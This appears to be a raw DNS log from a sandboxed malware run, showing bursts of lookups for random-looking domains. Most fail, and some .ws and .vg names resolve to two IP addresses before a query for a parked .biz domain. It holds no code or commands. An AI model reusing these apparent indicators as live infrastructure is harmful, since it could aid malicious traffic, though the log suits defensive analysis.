Jan 5, 2025 10:49:08.132009029 CET	1.1.1.1	192.168.2.4	0xfaab	Name error (3)	fwdvoccscqsdn.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.307629108 CET	1.1.1.1	192.168.2.4	0x722c	Name error (3)	cflwomgkiywsd.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.388195038 CET	1.1.1.1	192.168.2.4	0xa428	Name error (3)	cflwomgkiywsd.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.588265896 CET	1.1.1.1	192.168.2.4	0x11fc	Name error (3)	oziwqnhqwulqm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.699701071 CET	1.1.1.1	192.168.2.4	0x194	Name error (3)	oziwqnhqwulqm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.852209091 CET	1.1.1.1	192.168.2.4	0xa500	Name error (3)	njsdvidszlt.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.912224054 CET	1.1.1.1	192.168.2.4	0xf062	Name error (3)	njsdvidszlt.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.032203913 CET	1.1.1.1	192.168.2.4	0xe046	Name error (3)	ykowukqk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.047766924 CET	1.1.1.1	192.168.2.4	0x863f	Name error (3)	ykowukqk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.329071045 CET	1.1.1.1	192.168.2.4	0xacdd	Name error (3)	ikwzrcu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.543751955 CET	1.1.1.1	192.168.2.4	0x14aa	Name error (3)	ikwzrcu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.737449884 CET	1.1.1.1	192.168.2.4	0x4b49	Name error (3)	iqqsyypiw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.772660971 CET	1.1.1.1	192.168.2.4	0xec9d	Name error (3)	iqqsyypiw.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.919801950 CET	1.1.1.1	192.168.2.4	0x3ecc	Name error (3)	wkslbua.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.979934931 CET	1.1.1.1	192.168.2.4	0x1f84	Name error (3)	wkslbua.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.366544008 CET	1.1.1.1	192.168.2.4	0xd2f7	Name error (3)	mfcyameasebv.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.602304935 CET	1.1.1.1	192.168.2.4	0x236f	Name error (3)	mfcyameasebv.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.732875109 CET	1.1.1.1	192.168.2.4	0x2913	Name error (3)	wuvzvwutykq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.796466112 CET	1.1.1.1	192.168.2.4	0x8178	Name error (3)	wuvzvwutykq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.033862114 CET	1.1.1.1	192.168.2.4	0x6a95	Name error (3)	juiuothkh.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.138395071 CET	1.1.1.1	192.168.2.4	0xc042	Name error (3)	juiuothkh.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.282319069 CET	1.1.1.1	192.168.2.4	0x3cfb	Name error (3)	kqoqgeuukaj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.422832012 CET	1.1.1.1	192.168.2.4	0xd3db	Name error (3)	kqoqgeuukaj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.571542978 CET	1.1.1.1	192.168.2.4	0xddb3	Name error (3)	fhlzcfqqxqh.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.623260021 CET	1.1.1.1	192.168.2.4	0xb484	Name error (3)	fhlzcfqqxqh.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.764198065 CET	1.1.1.1	192.168.2.4	0xf1e5	Name error (3)	wkwwwgxi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.780122042 CET	1.1.1.1	192.168.2.4	0x4eeb	Name error (3)	wkwwwgxi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.919161081 CET	1.1.1.1	192.168.2.4	0xe488	No error (0)	nghsbqo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:12.370223999 CET	1.1.1.1	192.168.2.4	0x75bc	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:12.370223999 CET	1.1.1.1	192.168.2.4	0x75bc	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:12.972625971 CET	1.1.1.1	192.168.2.4	0x7e	Name error (3)	cymwkunu.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.001143932 CET	1.1.1.1	192.168.2.4	0x86c5	Name error (3)	cymwkunu.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.163361073 CET	1.1.1.1	192.168.2.4	0x9e83	Name error (3)	szlieifwgwokcs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.177100897 CET	1.1.1.1	192.168.2.4	0x4278	Name error (3)	szlieifwgwokcs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.315360069 CET	1.1.1.1	192.168.2.4	0x9bb9	Name error (3)	wcoymojgkvoq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.349849939 CET	1.1.1.1	192.168.2.4	0x318	Name error (3)	wcoymojgkvoq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.500685930 CET	1.1.1.1	192.168.2.4	0x7121	No error (0)	wwjlfmma.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.674810886 CET	1.1.1.1	192.168.2.4	0x2235	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:13.674810886 CET	1.1.1.1	192.168.2.4	0x2235	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.250513077 CET	1.1.1.1	192.168.2.4	0x82eb	Name error (3)	soqgeid.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.269476891 CET	1.1.1.1	192.168.2.4	0xc753	Name error (3)	soqgeid.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.477734089 CET	1.1.1.1	192.168.2.4	0x6095	Name error (3)	wzjzekb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.672780037 CET	1.1.1.1	192.168.2.4	0x13c4	Name error (3)	wzjzekb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.797805071 CET	1.1.1.1	192.168.2.4	0x49e3	Name error (3)	uirvjqcvqzje.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.825454950 CET	1.1.1.1	192.168.2.4	0x26dc	Name error (3)	uirvjqcvqzje.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.955033064 CET	1.1.1.1	192.168.2.4	0xa6ec	Name error (3)	egeamybv.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:15.064321995 CET	1.1.1.1	192.168.2.4	0xbec3	Name error (3)	egeamybv.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:15.190114975 CET	1.1.1.1	192.168.2.4	0xb6c9	No error (0)	fswgqwyze.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:15.480878115 CET	1.1.1.1	192.168.2.4	0x9d68	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:15.480878115 CET	1.1.1.1	192.168.2.4	0x9d68	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.064337969 CET	1.1.1.1	192.168.2.4	0xe75a	Name error (3)	sglfsgf.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.090430975 CET	1.1.1.1	192.168.2.4	0xc23	Name error (3)	sglfsgf.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.241089106 CET	1.1.1.1	192.168.2.4	0xcc36	Name error (3)	ixalhmj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.309031010 CET	1.1.1.1	192.168.2.4	0x2a91	Name error (3)	ixalhmj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.426671028 CET	1.1.1.1	192.168.2.4	0x42e3	No error (0)	kbtfoyycedpce.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.696880102 CET	1.1.1.1	192.168.2.4	0xea0	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:16.696880102 CET	1.1.1.1	192.168.2.4	0xea0	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.290628910 CET	1.1.1.1	192.168.2.4	0x2c70	Name error (3)	wqujptmvk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.324526072 CET	1.1.1.1	192.168.2.4	0xaaad	Name error (3)	wqujptmvk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.441231966 CET	1.1.1.1	192.168.2.4	0xb2d5	Name error (3)	ucxvzmgieecyq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.463604927 CET	1.1.1.1	192.168.2.4	0x2f4	Name error (3)	ucxvzmgieecyq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.618675947 CET	1.1.1.1	192.168.2.4	0xa69b	Name error (3)	zcywiaiy.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.649254084 CET	1.1.1.1	192.168.2.4	0x6883	Name error (3)	zcywiaiy.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.777146101 CET	1.1.1.1	192.168.2.4	0xf437	No error (0)	ykifecysc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:18.051583052 CET	1.1.1.1	192.168.2.4	0x2932	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:18.051583052 CET	1.1.1.1	192.168.2.4	0x2932	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:18.836999893 CET	1.1.1.1	192.168.2.4	0x9638	Name error (3)	eooozwnyqai.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:18.938059092 CET	1.1.1.1	192.168.2.4	0x389	Name error (3)	eooozwnyqai.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.159986019 CET	1.1.1.1	192.168.2.4	0x9e6	Name error (3)	okdiw.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.196511030 CET	1.1.1.1	192.168.2.4	0xb224	Name error (3)	okdiw.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.326019049 CET	1.1.1.1	192.168.2.4	0xe584	Name error (3)	jtgwgbm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.396189928 CET	1.1.1.1	192.168.2.4	0x459b	Name error (3)	jtgwgbm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.518978119 CET	1.1.1.1	192.168.2.4	0xd9cb	Name error (3)	mmotluum.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.615760088 CET	1.1.1.1	192.168.2.4	0x492f	Name error (3)	mmotluum.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.737122059 CET	1.1.1.1	192.168.2.4	0x48a1	Name error (3)	tmgefpx.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.781147957 CET	1.1.1.1	192.168.2.4	0x207c	Name error (3)	tmgefpx.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.078329086 CET	1.1.1.1	192.168.2.4	0x535	Name error (3)	kbnem.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.366827011 CET	1.1.1.1	192.168.2.4	0xedbf	Name error (3)	kbnem.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.499599934 CET	1.1.1.1	192.168.2.4	0x4902	No error (0)	zsgpbvk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.833470106 CET	1.1.1.1	192.168.2.4	0xa6c9	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:20.833470106 CET	1.1.1.1	192.168.2.4	0xa6c9	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:21.447042942 CET	1.1.1.1	192.168.2.4	0x82a0	No error (0)	idiiamfreuxmf.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:21.715907097 CET	1.1.1.1	192.168.2.4	0x84c2	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:21.715907097 CET	1.1.1.1	192.168.2.4	0x84c2	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.352458000 CET	1.1.1.1	192.168.2.4	0x61dd	Name error (3)	vcgxj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.621437073 CET	1.1.1.1	192.168.2.4	0x6ade	Name error (3)	vcgxj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.783307076 CET	1.1.1.1	192.168.2.4	0x8358	Name error (3)	yracsqqxexs.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.818567991 CET	1.1.1.1	192.168.2.4	0x46c2	Name error (3)	yracsqqxexs.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.941351891 CET	1.1.1.1	192.168.2.4	0xfd77	Name error (3)	aokjayb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.957550049 CET	1.1.1.1	192.168.2.4	0x16df	Name error (3)	aokjayb.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.109831095 CET	1.1.1.1	192.168.2.4	0xd847	Name error (3)	yaoumkenqqs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.130666018 CET	1.1.1.1	192.168.2.4	0x2a9c	Name error (3)	yaoumkenqqs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.268136024 CET	1.1.1.1	192.168.2.4	0x6f40	Name error (3)	zquxf.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.396167994 CET	1.1.1.1	192.168.2.4	0x3c45	Name error (3)	zquxf.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.604880095 CET	1.1.1.1	192.168.2.4	0x5172	Name error (3)	reugd.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.664501905 CET	1.1.1.1	192.168.2.4	0x1455	Name error (3)	reugd.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.781785965 CET	1.1.1.1	192.168.2.4	0x7698	Name error (3)	dawsopnarqaej.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.791245937 CET	1.1.1.1	192.168.2.4	0x32bf	Name error (3)	dawsopnarqaej.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.938792944 CET	1.1.1.1	192.168.2.4	0xd288	Name error (3)	wiqicmuya.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:23.961752892 CET	1.1.1.1	192.168.2.4	0x76aa	Name error (3)	wiqicmuya.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.079591036 CET	1.1.1.1	192.168.2.4	0xd932	Name error (3)	caqvxcjyaj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.093462944 CET	1.1.1.1	192.168.2.4	0xbdf3	Name error (3)	caqvxcjyaj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.220073938 CET	1.1.1.1	192.168.2.4	0x7c80	Name error (3)	cuqwhymvy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.231324911 CET	1.1.1.1	192.168.2.4	0x6635	Name error (3)	cuqwhymvy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.344597101 CET	1.1.1.1	192.168.2.4	0x669b	No error (0)	nmocagwiydqcim.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:24.710071087 CET	1.1.1.1	192.168.2.4	0xfc12	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:24.710071087 CET	1.1.1.1	192.168.2.4	0xfc12	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:25.303050041 CET	1.1.1.1	192.168.2.4	0xa3d6	No error (0)	kemgcimlg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:25.556210995 CET	1.1.1.1	192.168.2.4	0x48e8	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:25.556210995 CET	1.1.1.1	192.168.2.4	0x48e8	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:26.175806046 CET	1.1.1.1	192.168.2.4	0x2ecb	Name error (3)	ecxcemhjglio.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.709964037 CET	1.1.1.1	192.168.2.4	0x8bae	Name error (3)	ecxcemhjglio.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.709979057 CET	1.1.1.1	192.168.2.4	0x8bae	Name error (3)	ecxcemhjglio.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:27.917927027 CET	1.1.1.1	192.168.2.4	0xb18a	Name error (3)	ywpacqi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.208949089 CET	1.1.1.1	192.168.2.4	0x6107	Name error (3)	ywpacqi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.602075100 CET	1.1.1.1	192.168.2.4	0xb79d	Name error (3)	swaxqayolcq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.708251953 CET	1.1.1.1	192.168.2.4	0x7478	Name error (3)	swaxqayolcq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:28.840538979 CET	1.1.1.1	192.168.2.4	0xb48	No error (0)	fiwbqgwfmek.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:29.020437956 CET	1.1.1.1	192.168.2.4	0x48c6	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:29.020437956 CET	1.1.1.1	192.168.2.4	0x48c6	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:29.652905941 CET	1.1.1.1	192.168.2.4	0xf1ab	No error (0)	ckuqkrikwocye.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:29.823873997 CET	1.1.1.1	192.168.2.4	0x7ca0	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:29.823873997 CET	1.1.1.1	192.168.2.4	0x7ca0	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.490971088 CET	1.1.1.1	192.168.2.4	0x41cb	Name error (3)	vaoqw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.689992905 CET	1.1.1.1	192.168.2.4	0xe756	Name error (3)	vaoqw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.816103935 CET	1.1.1.1	192.168.2.4	0x92dd	Name error (3)	ciejid.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:30.832180023 CET	1.1.1.1	192.168.2.4	0x4bc6	Name error (3)	ciejid.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:31.071109056 CET	1.1.1.1	192.168.2.4	0xcd6d	Name error (3)	ekiymuyr.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:31.976085901 CET	1.1.1.1	192.168.2.4	0x2365	Name error (3)	ekiymuyr.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.101077080 CET	1.1.1.1	192.168.2.4	0x61	No error (0)	guyqqpguaei.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.160685062 CET	1.1.1.1	192.168.2.4	0x2a1	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:32.160685062 CET	1.1.1.1	192.168.2.4	0x2a1	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:32.760845900 CET	1.1.1.1	192.168.2.4	0x598	No error (0)	kgesjgcoile.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.070961952 CET	1.1.1.1	192.168.2.4	0x1656	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:33.070961952 CET	1.1.1.1	192.168.2.4	0x1656	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.673243999 CET	1.1.1.1	192.168.2.4	0xa56f	Name error (3)	iswwoj.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:33.692512989 CET	1.1.1.1	192.168.2.4	0x718f	Name error (3)	iswwoj.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.076205015 CET	1.1.1.1	192.168.2.4	0xa8b	Name error (3)	xovsresoi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.140034914 CET	1.1.1.1	192.168.2.4	0x8c97	Name error (3)	xovsresoi.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.267524958 CET	1.1.1.1	192.168.2.4	0x9ae4	Name error (3)	npdwtip.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.361016989 CET	1.1.1.1	192.168.2.4	0x7764	Name error (3)	npdwtip.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.494579077 CET	1.1.1.1	192.168.2.4	0x4dd4	Name error (3)	emyenboazaevg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.529567957 CET	1.1.1.1	192.168.2.4	0x927b	Name error (3)	emyenboazaevg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.657282114 CET	1.1.1.1	192.168.2.4	0xae6	Name error (3)	zyasveifqoc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.688214064 CET	1.1.1.1	192.168.2.4	0x14b2	Name error (3)	zyasveifqoc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.814243078 CET	1.1.1.1	192.168.2.4	0x16a2	Name error (3)	ogiopdjqht.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.851243973 CET	1.1.1.1	192.168.2.4	0x61db	Name error (3)	ogiopdjqht.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:34.976480007 CET	1.1.1.1	192.168.2.4	0x19a7	No error (0)	swmsi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:35.245628119 CET	1.1.1.1	192.168.2.4	0x7731	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:35.245628119 CET	1.1.1.1	192.168.2.4	0x7731	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:35.828644991 CET	1.1.1.1	192.168.2.4	0x2c35	No error (0)	wjqwkdcn.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.110654116 CET	1.1.1.1	192.168.2.4	0xf172	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:36.110654116 CET	1.1.1.1	192.168.2.4	0xf172	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.689824104 CET	1.1.1.1	192.168.2.4	0x968b	Name error (3)	ygrdwaz.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.705585957 CET	1.1.1.1	192.168.2.4	0x623b	Name error (3)	ygrdwaz.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.839142084 CET	1.1.1.1	192.168.2.4	0xd276	Name error (3)	rpygp.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:36.862160921 CET	1.1.1.1	192.168.2.4	0xe976	Name error (3)	rpygp.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.095740080 CET	1.1.1.1	192.168.2.4	0x5dca	Name error (3)	vvmamxwaowu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.257594109 CET	1.1.1.1	192.168.2.4	0x1459	Name error (3)	vvmamxwaowu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.385351896 CET	1.1.1.1	192.168.2.4	0x839c	No error (0)	lcgxgu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:37.561913013 CET	1.1.1.1	192.168.2.4	0x8d3e	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:37.561913013 CET	1.1.1.1	192.168.2.4	0x8d3e	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.152374029 CET	1.1.1.1	192.168.2.4	0xa5c3	No error (0)	eteeu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.190655947 CET	1.1.1.1	192.168.2.4	0x5786	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:38.190655947 CET	1.1.1.1	192.168.2.4	0x5786	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.798793077 CET	1.1.1.1	192.168.2.4	0x1031	Name error (3)	cemyvpo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:38.928705931 CET	1.1.1.1	192.168.2.4	0x6de3	Name error (3)	cemyvpo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.098488092 CET	1.1.1.1	192.168.2.4	0xc2	Name error (3)	nrkaunaihoc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.116221905 CET	1.1.1.1	192.168.2.4	0xcad0	Name error (3)	nrkaunaihoc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.249711990 CET	1.1.1.1	192.168.2.4	0x9f6c	No error (0)	woqxhdnsa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.327878952 CET	1.1.1.1	192.168.2.4	0xb4b5	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:39.327878952 CET	1.1.1.1	192.168.2.4	0xb4b5	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:39.945970058 CET	1.1.1.1	192.168.2.4	0xe578	Name error (3)	gjgps.museum	none	none	A (IP address)	IN (0x0001)	false
